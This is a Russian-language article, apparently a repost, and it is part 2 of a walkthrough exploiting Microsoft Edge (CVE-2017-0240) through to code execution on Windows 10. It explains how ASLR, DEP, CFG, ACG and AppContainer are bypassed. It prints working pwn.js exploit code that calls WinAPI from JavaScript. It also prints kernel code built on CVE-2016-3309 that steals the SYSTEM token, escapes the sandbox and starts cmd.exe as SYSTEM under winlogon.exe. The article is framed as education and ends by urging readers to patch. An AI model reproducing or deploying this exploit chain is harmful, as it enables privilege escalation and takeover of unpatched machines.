Эксплуатация Microsoft Edge от CVE до RCE на Windows 10. Часть 2

Эксплуатация Microsoft Edge от CVE до RCE на Windows 10. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Полезное

Шаг 2. Выполнение произвольных функций API

 

На данном этапе мы получили возможность чтения и записи по произвольному адресу внутри процесса отображения контента Edge. Рассмотрим основные технологии, которые должны помешать дальнейшей эксплуатации приложения и средства их обхода. Мы уже писали небольшой цикл статей Браузеры и app specific security mitigation (часть 1, вводнаячасть 2, Internet Explorer и Edgeчасть 3, Google Chrome), но стоит учитывать, что разработчики не стоят на месте и добавляют в свои продукты новые средства защиты.

 

Рандомизация адресного пространства (ASLR)

 

ASLR (англ. address space layout randomization — «рандомизация размещения адресного пространства») — технология, применяемая в операционных системах, при использовании которой случайным образом изменяется расположение в адресном пространстве процесса важных структур данных, а именно: образов исполняемого файла, подгружаемых библиотек, кучи и стека.

Выше мы научились считывать адреса виртуальных таблиц классов, используя их, мы с легкостью можем вычислить базовый адрес модуля Chakra.dll, таким образом ASLR не представляет проблем для дальнейшей эксплуатации.

 

Data execution protection (DEP, NX)

 

Предотвращение выполнения данных (англ. Dáta Execútion Prevéntion, DEP) — функция безопасности, встроенная в Linux, Mac OS X, Android и Windows, которая не позволяет приложению исполнять код из области памяти, помеченной как «только для данных». Она позволит предотвратить некоторые атаки, которые, например, сохраняют код в такой области с помощью переполнения буфера.

Один из способов обхода данной защиты — вызов VirtualAlloc с помощью ROP-цепочек. Но в случае Edge данный метод не сработает из-за ACG (см. ниже).

 

Control Flow Guard (CFG)

 

CFG — механизм защиты, нацеленный на то, чтобы усложнить процесс эксплуатации бинарных уязвимостей в пользовательских приложениях и приложениях режима ядра. Работа данного механизма заключается в валидации неявных вызовов (indirect calls), предотвращающей перехват потока исполнения злоумышленником (например, посредством перезаписи таблицы виртуальных функций)

Данная технология контролирует только косвенные вызовы, например, вызовы методов из виртуальной таблицы функций объектов. Адреса возврата на стеке не контролируются, и этим можно воспользоваться для построения ROP-цепочек. В будущем использованию ROP/JOP/COP-цепочек может помешать новая технология IntelControl-flow Enforcement Technology (CET). Данная технология состоит из двух частей:

 

  1. Shadow Stack (теневой стек) — используется для контроля адресов возврата, и защищает от ROP-цепочек;
  2. Indirect Branch Tracking — метод защиты от JOP/COP-цепочек. Представляет из себя новую инструкцию ENDBRANCH, которой помечаются все валидные адреса переходов для call и jmp-инструкций. 

Arbitrary Code Guard (ACG) 

ACG — это технология, препятствующая динамической генерации кода (запрещено аллоцировать -области памяти с помощью ) и его модификации (нельзя переотобразить имеющуюся область памяти как исполняемую)
VirtaulAlloc
rwx

Данная защита, как и CFG, не предотвращает использование ROP-цепочек. 

AppContainer Isolation 

AppContainer — технология Microsoft, позволяющая изолировать процесс, запуская его в окружении-песочнице. Данная технология ограничивает доступ процесса к учетным данным, устройствам, файловой системе, сети, другим процессам и окнам и нацелена на минимизацию возможностей вредоносного ПО, получившего возможность выполнения произвольного кода в процессе.

Данная защита значительно усложняет процесс эксплуатации. Из-за неё мы не можем вызвать сторонние исполняемые файлы или получить доступ к чувствительной информации пользователя в памяти или на дисках. Однако данную защиту можно преодолеть, используя уязвимости в реализации песочницы AppContainer или с помощью повышения привилегий через эксплуатацию уязвимостей в ядре ОС. 

Стоит отметить, что у Microsoft существует отдельная программа вознаграждений за техники обхода security mitigation-технологий. В программе указано, что повторное использование исполняемого кода (построение ROP-цепочек являеться разновидностью данной техники) не попадает под программу, т.к. является архитектурной проблемой. 

Использование pwn.js 

Из анализа всех технологий защиты следует, что для получения возможности исполнения произвольного кода необходимо обойти песочницу AppContainer. В данной статье мы опишем способ с использованием уязвимости ядра Windows. При этом мы можем использовать только JS-код и ROP-цепочки. Писать эксплойт для ядра, используя только ROP-цепочки, может быть очень сложно. Для упрощения этой задачи можно найти набор гаджетов, с помощью которого мы бы смогли вызывать необходимые методы WinAPI. К счастью, это уже реализовано в библиотеке pwn.js. С помощью неё, описав лишь функции read и write для произвольного чтения и записи, можно получить удобное API для поиска необходимых функций WinAPI и их вызова. Также pwn.jsпредоставляет удобный инструмент для работы с 64-битными значениями и указателями и инструменты для работы со структурами. 

Рассмотрим простой пример. На предыдущем этапе мы получили цепочку из двух связанных DataView. Для подготовки эксплойта необходимо создать следующий класс: 

var Exploit = (function() {

    var ChakraExploit = pwnjs.ChakraExploit;
    var Integer = pwnjs.Integer;

    function Exploit() {
        ChakraExploit.call(this);

        ...
        // Получение arbitrary address read/write с помощью уязвимости
        ...

        // DataView, с помощью которого будет производиться чтение и запись
        this.dv = ...;
        // DataView, буфер которого указывает на this.dv
        this.dv_offset = ...;
        // Любой адрес внутри Chakra.dll, например, указатель на виртуальную таблицу
        var vtable = ...;
        this.initChakra(vtable);
    }
    Exploit.prototype = Object.create(ChakraExploit.prototype);
    Exploit.prototype.constructor = Exploit;

    Exploit.prototype.set_dv_address = function(lo, hi) {
        this.dv_offset.setInt32(0x38, lo, true);
        this.dv_offset.setInt32(0x3c, hi, true);
    }

    Exploit.prototype.read = function (address, size) {
        this.set_dv_address(address.low, address.high);
        switch (size) {
            case 8: return new Integer(this.dv.getInt8(0, true), 0, true);
            case 16: return new Integer(this.dv.getInt16(0, true), 0, true);
            case 32: return new Integer(this.dv.getInt32(0, true), 0, true);
            case 64: return new Integer(this.dv.getInt32(0, true),
                                        this.dv.getInt32(4, true), true);
        }
    }
    Exploit.prototype.write = function (address, value, size) {
        this.set_dv_address(address.low, address.high);
        switch (size) {
            case 8: this.dv.setInt8(0, value.low, true); break;
            case 16: this.dv.setInt16(0, value.low, true); break;
            case 32: this.dv.setInt32(0, value.low, true); break;
            case 64:
                this.dv.setInt32(0, value.low, true);
                this.dv.setInt32(4, value.high, true);
                break;
        }
    }
    return Exploit;
})(); 

Использовать полученный класс очень легко, вот простейший пример для вызова MessageBoxA

function run() {
    with (new Exploit()) {
        //alert('Chakra: ' + chakraBase.toString(16));
        var MessageBoxA = importFunction('user32.dll', 'MessageBoxA', Int32);
        var GetActiveWindow = importFunction('user32.dll', 'GetActiveWindow', Int64);
        var hwnd = GetActiveWindow();
        var ret = MessageBoxA(hwnd, new CString('PWNED'), new CString('PWNED'), 0);
    }
} 

В результате исполнения получим следующее сообщение:



Шаг 3. Повышение привилегий и выход из песочницы с помощью уязвимости ядра 

На данном этапе мы научились выполнять произвольные вызовы WinAPI. Этого может быть достаточно для реализации эксплуатации уязвимостей ядра. Отличный пример подходящей уязвимости является CVE-2016-3309. Подробную информацию о ней можно найти в источниках [7] и [8], а в презентации по pwn.js [2] есть частичная реализация эксплойта, который основан на относительно новой технологии эксплуатации GDI-объектов. Познакомиться подробнее с данной технологией можно в источниках [9], [10] и [11]. В результате эксплуатации уязвимости можно получить примитив произвольного чтения и записи в пространстве ядра. Изучение самого процесса эксплуатации мы оставим на читателя, в этом помогут перечисленные выше источники. В данной статье рассмотрим лишь общие техники, позволяющие с помощью произвольного чтения и записи в пространстве ядра повысить привелегии процесса и обойти AppContainer, а также рассмотрим примеры реализации этих техник с помощью pwn.js. Конечной целью эксплуатации в данной статье будет открытие командного интерпретатора cmd.exe от имени пользователя SYSTEM

GDI — это интерфейс Windows для представления графических объектов и передачи их на устройства отображения, такие, как мониторы и принтеры.

Итак, у нас получилось реализовать чтение и запись по произвольному адресу в пространстве ядра. JS-функции для чтения и записи 64-битных значений в ядре назовем kernel_read_64 и kernel_write_64, соответственно. Первым делом необходимо получить базовый адрес ядра Windows. В контексте эксплуатации уязвимости это можно сделать через объект типа BITMAP, адрес которого мы знаем. pwn.js предоставляет удобный интерфейс описания структур. Структуру BITMAP можно описать, например, так: 

var BITMAP = new StructType([
    ['poolHeader', new ArrayType(Uint32, 4)],
    // BASEOBJECT64
    ['hHmgr', Uint64],
    ['ulShareCount', Uint32],
    ['cExclusiveLock', Uint16],
    ['BaseFlags', Uint16],
    ['Tid', Uint64],
    ['dhsurf', Uint64],
    ['hsurf', Uint64],
    ['dhpdev', Uint64],
    ['hdev', Uint64],
    ['sizlBitmap', SIZEL],
    ['cjBits', Uint32],
    ['pvBits', Uint64],
    ['pvScan0', Uint64],
]); 

Поле Tid данной структуры хранит указатель на объект KTHREAD с контекстом текущего потока исполнения, который, в свою очередь, содержит адрес EmpCheckErrataList, с помощью которого можно определить базовый адрес ядра. Таким образом, для определения адреса ядра необходимо выполнить следующий код: 

...
var nt_EmpCheckErrataList_ptr = worker_bitmap_obj.Tid.add(0x2a8);
var nt_EmpCheckErrataList = kernel_read_64(nt_EmpCheckErrataList_ptr);
/* g_config содержит различные смещения, специфичные для текущей версии ядра
Для вычисления смещения empCheckErrataList в WinDbg в режиме отлакдки ядра необходимо выполнить следующую команду:
? nt!EmpCheckErrataList - nt */
var ntoskrnl_base_address = nt_EmpCheckErrataList.sub(
        g_config.nt_empCheckErrataList_offset);
... 

Зная базовый адрес ядра, мы можем отключить ограничения AppContainer и повысить привелегии процесса. Для отключения ограничений AppContainer необходимо отчистить бит IsPackagedProcess из блока окружения процесса (Process Environment BlockPEB), что можно сделать не прибегая к эксплуатации уязвимости ядра. Также, необходимо получить получить Access Token, в котором не будет признаков запуска приложения внутри AppContainer. В качестве такого токена можно взять Access Token системного процесса, там самым мы еще и повысим привелегии текущего процесса. Access Token идентифицирует пользователя и его привелегии, группу и другие данные доступа. Структура процесса в ядре EPROCESS содержит двусвязный список ActiveProcessLinks, с помощью которого можно перечислить все процессы. Указатель на PEB также можно получить из EPROCESS. Указатель на системный процесс можно получить из глобальной переменной PsInitialSystemProcess ядра, начиная с него, можно пройтись по всем процессам с помощью списка ActiveProcessLinks

В случае браузера Edge существует еще одна проблема: если процесс отображения контента не отвечает, то основной процесс Edge его завершит вместе со всеми дочерними процессами. По этой причине необходимо создавать новый процесс от имени другого процесса с привилегиями SYSTEM. Это может быть, например, winlogon.exe

Описанные выше техники можно реализовать с помощью pwn.js следующим образом: 

// Получение PEB текущего процесса
var pinfo = _PROCESS_BASIC_INFORMATION.Ptr.cast(malloc(_PROCESS_BASIC_INFORMATION.size));
var pinfo_sz = Uint64.Ptr.cast(malloc(8));
NtQueryInformationProcess(GetCurrentProcess(), 0, pinfo, _PROCESS_BASIC_INFORMATION.size, pinfo_sz);
var peb = pinfo.PebBaseAddress;
/* Переключаем значение бита IsPackagedProcess для обхода ограничений
В данном случае peb имеет тип char * */
var bit_field = peb[3];
bit_field = bit_field.xor(1 << 4);
peb[3] = bit_field;

/* Смещения полей структур в текущей версии ядра также можно получить
с помощью WinDbg в режиме отладки ядра. Для этого необходимо выполнить следующее:
dt ntdll!_EPROCESS uniqueprocessid token activeprocesslinks
В результате будут перечисленны смещения всех перечисленных в аргументе полей */
var ActiveProcessLinks = system_eprocess.add(
        g_config.ActiveProcessLinksOffset);
var current_pid = GetCurrentProcessId();
var current_eprocess = null;
var winlogon_pid = null;
// winlogon.exe - название процесса, который будет родительским для cmd.exe
var winlogon = new CString("winlogon.exe");
var image_name = malloc(16);
var system_pid = kernel_read_64(system_eprocess.add(
            g_config.UniqueProcessIdOffset));
while(!current_eprocess || !winlogon_pid)
{
    var eprocess = kernel_read_64(ActiveProcessLinks).sub(
            g_config.ActiveProcessLinksOffset);
    var pid = kernel_read_64(eprocess.add(
                g_config.UniqueProcessIdOffset));

    // Копируем название просматриваемого процесса из пространства ядра
    // пользовательское пространство
    Uint64.store(
        image_name.address,
        kernel_read_64(eprocess.add(g_config.ImageNameOffset))
    );
    Uint64.store(
        image_name.address.add(8),
        kernel_read_64(eprocess.add(g_config.ImageNameOffset + 8))
    );

    // Ищем процесс winlogon.exe и текущий процесс
    if(_stricmp(winlogon, image_name).eq(0))
    {
        winlogon_pid = pid;
    }
    if (current_pid.eq(pid))
    {
        current_eprocess = eprocess;
    }

    // Перемещаемся к следующему процессу в двусвязном списке
    ActiveProcessLinks = eprocess.add(
            g_config.ActiveProcessLinksOffset);
}

// Получение токена системного процесса
var sys_token = kernel_read_64(system_eprocess.add(g_config.TokenOffset));

// Подготовка структур данных для запуска нового процесса в качестве
// дочернего процесса winlogon.exe
var pi = malloc(24);
memset(pi, 0, 24);
var si = malloc(104 + 8);
memset(si, 0, 104 + 8);
Uint32.store(si.address, new Integer(104 + 8));
var args = WString("cmd.exe");

var AttributeListSize = Uint64.Ptr.cast(malloc(8));
InitializeProcThreadAttributeList(0, 1, 0, AttributeListSize);
var lpAttributeList = malloc(AttributeListSize[0]);
Uint64.store(
    si.address.add(104),
    lpAttributeList
);
InitializeProcThreadAttributeList(lpAttributeList, 1, 0, AttributeListSize)
var winlogon_handle = Uint64.Ptr.cast(malloc(8));

// Запись системного токена в текущий процесс
kernel_write_64(current_eprocess.add(g_config.TokenOffset), sys_token);

/* Обладая правами системного процесса и отключив ограничения AppContainer,
мы можем получить дескриптор запущенного процесса winlogon.exe и запустить
новый процесс в качестве дочернего процесса winlogon.exe */
winlogon_handle[0] = OpenProcess(PROCESS_ALL_ACCESS, 0, winlogon_pid);
UpdateProcThreadAttribute(lpAttributeList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        winlogon_handle, 8, 0, 0);
CreateProcess(0, args, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, si, pi);

Результат выполнения полной цепочки эксплойтов:



На нашем YouTube вы можете посмотреть видео о том, как выйти из песочницы Microsoft Edge. 

Итог 

Немного цифровых фактов: 

  • Человеку, ранее не знакомому с эксплуатацией браузера Edge и ядра Windows, потребовалось около 13 часов на то, чтобы разобраться и написать эксплойт для уязвимости CVE-2017-0240 используя материалы, перечисленные в статье. Примерно столько же времени потребовалось для эксплуатации ядерной уязвимости CVE-2016-3309.
  • Эксплойт был полностью написан на JS
  • Всего в эксплойте 666 строчек кода на JS
  • Полезная нагрузка эксплойта: вызов cmd.exe от имени пользователя SYSTEM, но может быть запущен любой вредоносный код 

Теперь мы думаем, что у вас может сложиться некоторая картина о том, как злоумышленники на основании той же информации из патчей могут быстро создать эксплойт под интресующее их ПО. А учитывая, что человек может специализироваться на конкретном ПО, это займет у него еще меньше времени и сил. Поэтому не забывайте о своевременном обновлении своего ПО.

Источник


Report Page